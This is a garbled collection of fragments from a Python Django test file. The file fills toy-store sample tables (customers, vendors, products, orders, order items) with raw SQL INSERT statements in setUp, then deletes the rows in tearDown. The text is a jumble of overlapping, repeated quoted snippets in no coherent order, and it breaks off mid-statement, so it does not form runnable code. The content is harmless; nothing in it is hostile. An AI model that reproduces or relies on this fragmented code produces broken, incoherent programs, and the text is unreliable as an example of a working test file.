York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city,", "prod_name, prod_price, prod_desc) \\ VALUES('RGAN01', 'DLL01', 'Raggedy Ann', 4.99, '18", "'1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20006, '2020-01-12', '1000000003');\")", "order_item, prod_id, quantity, item_price) \\ VALUES(20007, 4, 'BNBG03', 100, 2.99);\")", "prod_desc) \\ VALUES('RGAN01', 'DLL01', 'Raggedy Ann', 4.99, '18 inch Raggedy", "250, 2.49);\") def tearDown(self): # Clean up run after every", "'Detroit', 'MI', '44444', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name,", "5, 4.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG01',", "INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRS01','Bears", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 2,", "# Populate Customers table cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city,", "# Populate OrderItems table cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "vend_zip, vend_country) \\ VALUES('JTS01','Jouets et ours','1 Rue Amusement','Paris', NULL,'45678', 'France');\")", "order_item, prod_id, quantity, item_price) \\ VALUES(20007, 5, 'RGAN01', 50, 4.49);\")", "prod_id, quantity, item_price) \\ VALUES(20007, 1, 'BR03', 50, 11.49);\") cursor.execute(\"INSERT", "connection from tutorials.create_table.models import * # Create your tests here.", "doll with royal garments and crown');\") # Populate Orders table", "House Inc.','555 High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address,", "Customers table cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip,", "bag worms with which to feed it');\") cursor.execute(\"INSERT INTO Products(prod_id,", "VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20006,", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG01', 'DLL01', 'Fish bean", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 1, 'BR01',", "with which to feed it');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "i in Vendors.objects.all(): print(i.to_dict()) for i in Orders.objects.all(): print(i.to_dict()) for", "VALUES(20008, 2, 'BR03', 5, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "'8 inch teddy bear, comes with cap and jacket');\") cursor.execute(\"INSERT", "Populate OrderItems table cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 2, 'BR02',", "'OH', '43333', 'USA', 'Michelle Green');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address,", "quantity, item_price) \\ VALUES(20008, 5, 'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT INTO", "__author__ = '__MeGustas__' from django.test import TestCase from django.db import", "queen doll with royal garments and crown');\") # Populate Orders", "bean bag toy', 3.49, 'Rabbit bean bag toy, comes with", "VALUES('BNBG03', 'DLL01', 'Rabbit bean bag toy', 3.49, 'Rabbit bean bag", "5, 'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "VALUES('BNBG01', 'DLL01', 'Fish bean bag toy', 3.49, 'Fish bean bag", "prod_id, quantity, item_price) \\ VALUES(20007, 2, 'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT", "#!/usr/bin/python3 # -*- coding:utf-8 -*- # __author__ = '__MeGustas__' from", "'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('DLL01','Doll House", "bag toy', 3.49, 'Rabbit bean bag toy, comes with bean", "VALUES(20008, 4, 'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "and Games','42 Galaxy Road','London', NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id,", "vend_city, vend_state, vend_zip, vend_country) \\ VALUES('DLL01','Doll House Inc.','555 High Street','Dollsville','CA','99999',", "teddy bear', 5.99, '8 inch teddy bear, comes with cap", "table cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005,", "item_price) \\ VALUES(20007, 1, 'BR03', 50, 11.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 4,", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 5, 'BNBG03', 10,", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL02', 'FNG01', 'Queen", "'MI', '44444', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address,", "inch king doll with royal garments and crown');\") cursor.execute(\"INSERT INTO", "quantity, item_price) \\ VALUES(20007, 2, 'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT INTO", "'12 inch teddy bear', 8.99, '12 inch teddy bear, comes", "Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip,", "prod_id, quantity, item_price) \\ VALUES(20008, 1, 'RGAN01', 5, 4.99);\") cursor.execute(\"INSERT", "setUp(self): cursor = connection.cursor() # Populate Customers table cursor.execute(\"INSERT INTO", "bear', 5.99, '8 inch teddy bear, comes with cap and", "cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000005', 'The Toy", "VALUES('BR02', 'BRS01', '12 inch teddy bear', 8.99, '12 inch teddy", "'Fish bean bag toy', 3.49, 'Fish bean bag toy, complete", "item_price) \\ VALUES(20007, 3, 'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FRB01','Furball Inc.','1000 5th", "item_price) \\ VALUES(20007, 5, 'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RGAN01', 'DLL01', 'Raggedy", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL01', 'FNG01', 'King", "order_item, prod_id, quantity, item_price) \\ VALUES(20008, 3, 'BNBG01', 10, 3.49);\")", "Amusement','Paris', NULL,'45678', 'France');\") # Populate Products table cursor.execute(\"INSERT INTO Products(prod_id,", "Orders(order_num, order_date, cust_id) \\ VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num,", "3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009,", "order_item, prod_id, quantity, item_price) \\ VALUES(20009, 2, 'BNBG02', 250, 2.49);\")", "garments and crown');\") # Populate Orders table cursor.execute(\"INSERT INTO Orders(order_num,", "Main Street','Bear Town','MI','44444', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city,", "\\ VALUES('BR02', 'BRS01', '12 inch teddy bear', 8.99, '12 inch", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG03', 'DLL01', 'Rabbit bean", "3, 'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "run after every test method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete()", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR02', 'BRS01',", "toy', 3.49, 'Rabbit bean bag toy, comes with bean bag", "vend_zip, vend_country) \\ VALUES('FRB01','Furball Inc.','1000 5th Avenue','New York','NY','11111', 'USA');\") cursor.execute(\"INSERT", "2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007,", "bear, comes with cap and jacket');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "'Rabbit bean bag toy', 3.49, 'Rabbit bean bag toy, comes", "cust_id) \\ VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id)", "every test method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self):", "# Populate Products table cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price,", "prod_name, prod_price, prod_desc) \\ VALUES('BR02', 'BRS01', '12 inch teddy bear',", "# -*- coding:utf-8 -*- # __author__ = '__MeGustas__' from django.test", "-*- coding:utf-8 -*- # __author__ = '__MeGustas__' from django.test import", "11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008,", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 3,", "\\ VALUES('1000000005', 'The Toy Store', '4545 53rd Street', 'Chicago', 'IL',", "VALUES('BNBG02', 'DLL01', 'Bird bean bag toy', 3.49, 'Bird bean bag", "INTO Orders(order_num, order_date, cust_id) \\ VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO", "cust_country, cust_contact, cust_email) \\ VALUES('1000000004', 'Fun4All', '829 Riverside Drive', 'Phoenix',", "prod_desc) \\ VALUES('BR03', 'BRS01', '18 inch teddy bear', 11.99, '18", "order_date, cust_id) \\ VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date,", "prod_desc) \\ VALUES('BNBG03', 'DLL01', 'Rabbit bean bag toy', 3.49, 'Rabbit", "def tearDown(self): # Clean up run after every test method.", "quantity, item_price) \\ VALUES(20007, 3, 'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT INTO", "INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('DLL01','Doll", "cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20008, '2020-02-03', '1000000005');\") cursor.execute(\"INSERT", "cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000004', 'Fun4All', '829", "cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact)", "VALUES('FRB01','Furball Inc.','1000 5th Avenue','New York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name,", "'44444', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city,", "for i in Customers.objects.all(): print(i.to_dict()) for i in Vendors.objects.all(): print(i.to_dict())", "vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FRB01','Furball Inc.','1000 5th Avenue','New York','NY','11111',", "prod_price, prod_desc) \\ VALUES('BNBG03', 'DLL01', 'Rabbit bean bag toy', 3.49,", "quantity, item_price) \\ VALUES(20006, 3, 'BR03', 10, 11.99);\") cursor.execute(\"INSERT INTO", "print(i.to_dict()) for i in Orders.objects.all(): print(i.to_dict()) for i in OrderItems.objects.all():", "cust_id) \\ VALUES(20006, '2020-01-12', '1000000003');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id)", "8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006,", "'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 4, 'BNBG03',", "'Muncie', 'IN', '42222', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name,", "vend_country) \\ VALUES('FRB01','Furball Inc.','1000 5th Avenue','New York','NY','11111', 'USA');\") cursor.execute(\"INSERT INTO", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 3, 'BR03', 10,", "'BR03', 100, 10.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL02', 'FNG01', 'Queen doll',", "\\ VALUES(20008, 2, 'BR03', 5, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'Fish bean bag toy, complete with bean bag worms with", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 3, 'BNBG01',", "order_item, prod_id, quantity, item_price) \\ VALUES(20005, 1, 'BR01', 100, 5.49);\")", "# Populate Orders table cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG02', 'DLL01', 'Bird", "VALUES('BR01', 'BRS01', '8 inch teddy bear', 5.99, '8 inch teddy", "cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000002', 'Kids Place', '333", "quantity, item_price) \\ VALUES(20007, 1, 'BR03', 50, 11.49);\") cursor.execute(\"INSERT INTO", "prod_id, quantity, item_price) \\ VALUES(20009, 3, 'BNBG03', 250, 2.49);\") def", "order_item, prod_id, quantity, item_price) \\ VALUES(20007, 1, 'BR03', 50, 11.49);\")", "test method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self): for", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 4,", "5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005,", "tutorials.create_table.models import * # Create your tests here. class TestHealthFile(TestCase):", "vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('FNG01','Fun and Games','42", "prod_desc) \\ VALUES('BNBG01', 'DLL01', 'Fish bean bag toy', 3.49, 'Fish", "cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT", "\\ VALUES(20008, 5, 'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "inch teddy bear', 8.99, '12 inch teddy bear, comes with", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 5,", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005, 2, 'BR03',", "prod_name, prod_price, prod_desc) \\ VALUES('BNBG01', 'DLL01', 'Fish bean bag toy',", "3, 'BR03', 10, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity,", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL01', 'FNG01', 'King doll', 9.49,", "VALUES('RYL02', 'FNG01', 'Queen doll', 9.49, '12 inch queen doll with", "with royal garments and crown');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20008,", "teddy bear', 8.99, '12 inch teddy bear, comes with cap", "'88888', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city,", "INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\", "VALUES('DLL01','Doll House Inc.','555 High Street','Dollsville','CA','99999', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name,", "item_price) \\ VALUES(20008, 5, 'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG03', 'DLL01', 'Rabbit bean bag", "VALUES(20008, 3, 'BNBG01', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "Road','London', NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city,", "Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG02', 'DLL01', 'Bird bean", "order_item, prod_id, quantity, item_price) \\ VALUES(20008, 2, 'BR03', 5, 11.99);\")", "inch teddy bear', 11.99, '18 inch teddy bear, comes with", "prod_price, prod_desc) \\ VALUES('RYL01', 'FNG01', 'King doll', 9.49, '12 inch", "django.test import TestCase from django.db import connection from tutorials.create_table.models import", "item_price) \\ VALUES(20007, 4, 'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "cust_country, cust_contact, cust_email) \\ VALUES('1000000001', 'Village Toys', '200 Maple Lane',", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 5, 'RGAN01', 50,", "prod_price, prod_desc) \\ VALUES('RGAN01', 'DLL01', 'Raggedy Ann', 4.99, '18 inch", "'43333', 'USA', 'Michelle Green');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city,", "'Queen doll', 9.49, '12 inch queen doll with royal garments", "vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('JTS01','Jouets et ours','1 Rue", "order_item, prod_id, quantity, item_price) \\ VALUES(20008, 5, 'BNBG03', 10, 3.49);\")", "Green');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country,", "Park Street','Anytown','OH','44333', 'USA');\") cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state,", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('RYL02', 'FNG01', 'Queen doll', 9.49,", "\\ VALUES(20007, 3, 'BNBG02', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "Riverside Drive', 'Phoenix', 'AZ', '88888', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO", "\\ VALUES(20009, 2, 'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000003', 'Fun4All', '1", "import * # Create your tests here. class TestHealthFile(TestCase): def", "'The Toy Store', '4545 53rd Street', 'Chicago', 'IL', '54545', 'USA',", "prod_name, prod_price, prod_desc) \\ VALUES('RYL01', 'FNG01', 'King doll', 9.49, '12", "print(i.to_dict()) for i in Vendors.objects.all(): print(i.to_dict()) for i in Orders.objects.all():", "Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('BRE02','Bear Emporium','500", "table cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country,", "prod_price, prod_desc) \\ VALUES('BNBG01', 'DLL01', 'Fish bean bag toy', 3.49,", "prod_desc) \\ VALUES('BNBG02', 'DLL01', 'Bird bean bag toy', 3.49, 'Bird", "INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG03', 'DLL01', 'Rabbit", "\\ VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\", "toy, eggs are not included');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name,", "test_customers(self): for i in Customers.objects.all(): print(i.to_dict()) for i in Vendors.objects.all():", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 1,", "'2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20008, '2020-02-03',", "item_price) \\ VALUES(20007, 2, 'BNBG01', 100, 2.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 5,", "'829 Riverside Drive', 'Phoenix', 'AZ', '88888', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT", "table cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name, vend_address, vend_city, vend_state, vend_zip, vend_country)", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG03', 'DLL01',", "Orders.objects.all(): print(i.to_dict()) for i in OrderItems.objects.all(): print(i.to_dict()) for i in", "prod_price, prod_desc) \\ VALUES('BR01', 'BRS01', '8 inch teddy bear', 5.99,", "item_price) \\ VALUES(20009, 3, 'BNBG03', 250, 2.49);\") def tearDown(self): #", "\\ VALUES(20006, 3, 'BR03', 10, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "9.49, '12 inch king doll with royal garments and crown');\")", "cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact) \\ VALUES('1000000002', 'Kids", "'Fun4All', '829 Riverside Drive', 'Phoenix', 'AZ', '88888', 'USA', '<NAME>', '<EMAIL>');\")", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20006, 1, 'BR01', 20,", "toy, comes with bean bag carrots');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "cust_id) \\ VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id)", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 2,", "prod_price, prod_desc) \\ VALUES('BR02', 'BRS01', '12 inch teddy bear', 8.99,", "VALUES(20005, 1, 'BR01', 100, 5.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "'1 Sunny Place', 'Muncie', 'IN', '42222', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT", "\\ VALUES('FNG01','Fun and Games','42 Galaxy Road','London', NULL,'N16 6PS', 'England');\") cursor.execute(\"INSERT", "'USA', '<NAME>');\") # Populate Vendors table cursor.execute(\"INSERT INTO Vendors(vend_id, vend_name,", "2.49);\") def tearDown(self): # Clean up run after every test", "prod_desc) \\ VALUES('RYL01', 'FNG01', 'King doll', 9.49, '12 inch king", "vend_address, vend_city, vend_state, vend_zip, vend_country) \\ VALUES('DLL01','Doll House Inc.','555 High", "VALUES('1000000001', 'Village Toys', '200 Maple Lane', 'Detroit', 'MI', '44444', 'USA',", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 1,", "\\ VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\", "order_item, prod_id, quantity, item_price) \\ VALUES(20005, 2, 'BR03', 100, 10.99);\")", "50, 4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\", "vend_zip, vend_country) \\ VALUES('FNG01','Fun and Games','42 Galaxy Road','London', NULL,'N16 6PS',", "cust_name, cust_address, cust_city, cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000001',", "\\ VALUES(20009, 3, 'BNBG03', 250, 2.49);\") def tearDown(self): # Clean", "prod_id, quantity, item_price) \\ VALUES(20005, 1, 'BR01', 100, 5.49);\") cursor.execute(\"INSERT", "garments and crown');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc)", "Sunny Place', 'Muncie', 'IN', '42222', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO", "inch queen doll with royal garments and crown');\") # Populate", "class TestHealthFile(TestCase): def setUp(self): cursor = connection.cursor() # Populate Customers", "Orders(order_num, order_date, cust_id) \\ VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num,", "order_item, prod_id, quantity, item_price) \\ VALUES(20006, 1, 'BR01', 20, 5.99);\")", "item_price) \\ VALUES(20006, 3, 'BR03', 10, 11.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "VALUES(20007, 5, 'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 1, 'RGAN01',", "up run after every test method. Customers.objects.all().delete() Vendors.objects.all().delete() Orders.objects.all().delete() OrderItems.objects.all().delete()", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG01', 'DLL01', 'Fish bean bag", "'333 South Lake Drive', 'Columbus', 'OH', '43333', 'USA', 'Michelle Green');\")", "# Create your tests here. class TestHealthFile(TestCase): def setUp(self): cursor", "cust_country, cust_contact) \\ VALUES('1000000002', 'Kids Place', '333 South Lake Drive',", "Populate Customers table cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address, cust_city, cust_state,", "item_price) \\ VALUES(20006, 2, 'BR02', 10, 8.99);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "\\ VALUES(20007, 5, 'RGAN01', 50, 4.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item,", "'AZ', '88888', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id, cust_name, cust_address,", "doll with royal garments and crown');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price)", "OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20009, 3, 'BNBG03', 250,", "cust_state, cust_zip, cust_country, cust_contact, cust_email) \\ VALUES('1000000003', 'Fun4All', '1 Sunny", "cust_id) \\ VALUES(20007, '2020-01-30', '1000000004');\") cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id)", "'Rabbit bean bag toy, comes with bean bag carrots');\") cursor.execute(\"INSERT", "11.99, '18 inch teddy bear, comes with cap and jacket');\")", "Products table cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20007, 3,", "quantity, item_price) \\ VALUES(20007, 4, 'BNBG03', 100, 2.99);\") cursor.execute(\"INSERT INTO", "OrderItems.objects.all().delete() Products.objects.all().delete() def test_customers(self): for i in Customers.objects.all(): print(i.to_dict()) for", "= connection.cursor() # Populate Customers table cursor.execute(\"INSERT INTO Customers(cust_id, cust_name,", "coding:utf-8 -*- # __author__ = '__MeGustas__' from django.test import TestCase", "order_item, prod_id, quantity, item_price) \\ VALUES(20007, 2, 'BNBG01', 100, 2.99);\")", "vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG02', 'DLL01', 'Bird bean bag", "tearDown(self): # Clean up run after every test method. Customers.objects.all().delete()", "bag toy, eggs are not included');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id,", "not included');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\", "quantity, item_price) \\ VALUES(20008, 4, 'BNBG02', 10, 3.49);\") cursor.execute(\"INSERT INTO", "cursor.execute(\"INSERT INTO Orders(order_num, order_date, cust_id) \\ VALUES(20005, '2020-05-01', '1000000001');\") cursor.execute(\"INSERT", "VALUES(20008, 5, 'BNBG03', 10, 3.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id,", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20005, 2,", "cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BR01', 'BRS01',", "item_price) \\ VALUES(20009, 2, 'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT INTO OrderItems(order_num,", "prod_id, quantity, item_price) \\ VALUES(20006, 2, 'BR02', 10, 8.99);\") cursor.execute(\"INSERT", "Drive', 'Phoenix', 'AZ', '88888', 'USA', '<NAME>', '<EMAIL>');\") cursor.execute(\"INSERT INTO Customers(cust_id,", "included');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG03',", "cust_email) \\ VALUES('1000000001', 'Village Toys', '200 Maple Lane', 'Detroit', 'MI',", "'IL', '54545', 'USA', '<NAME>');\") # Populate Vendors table cursor.execute(\"INSERT INTO", "it');\") cursor.execute(\"INSERT INTO Products(prod_id, vend_id, prod_name, prod_price, prod_desc) \\ VALUES('BNBG02',", "cursor.execute(\"INSERT INTO OrderItems(order_num, order_item, prod_id, quantity, item_price) \\ VALUES(20008, 3,", "quantity, item_price) \\ VALUES(20009, 2, 'BNBG02', 250, 2.49);\") cursor.execute(\"INSERT INTO", "inch teddy bear', 5.99, '8 inch teddy bear, comes with", "3.49);\") cursor.execute(\"INSERT INTO 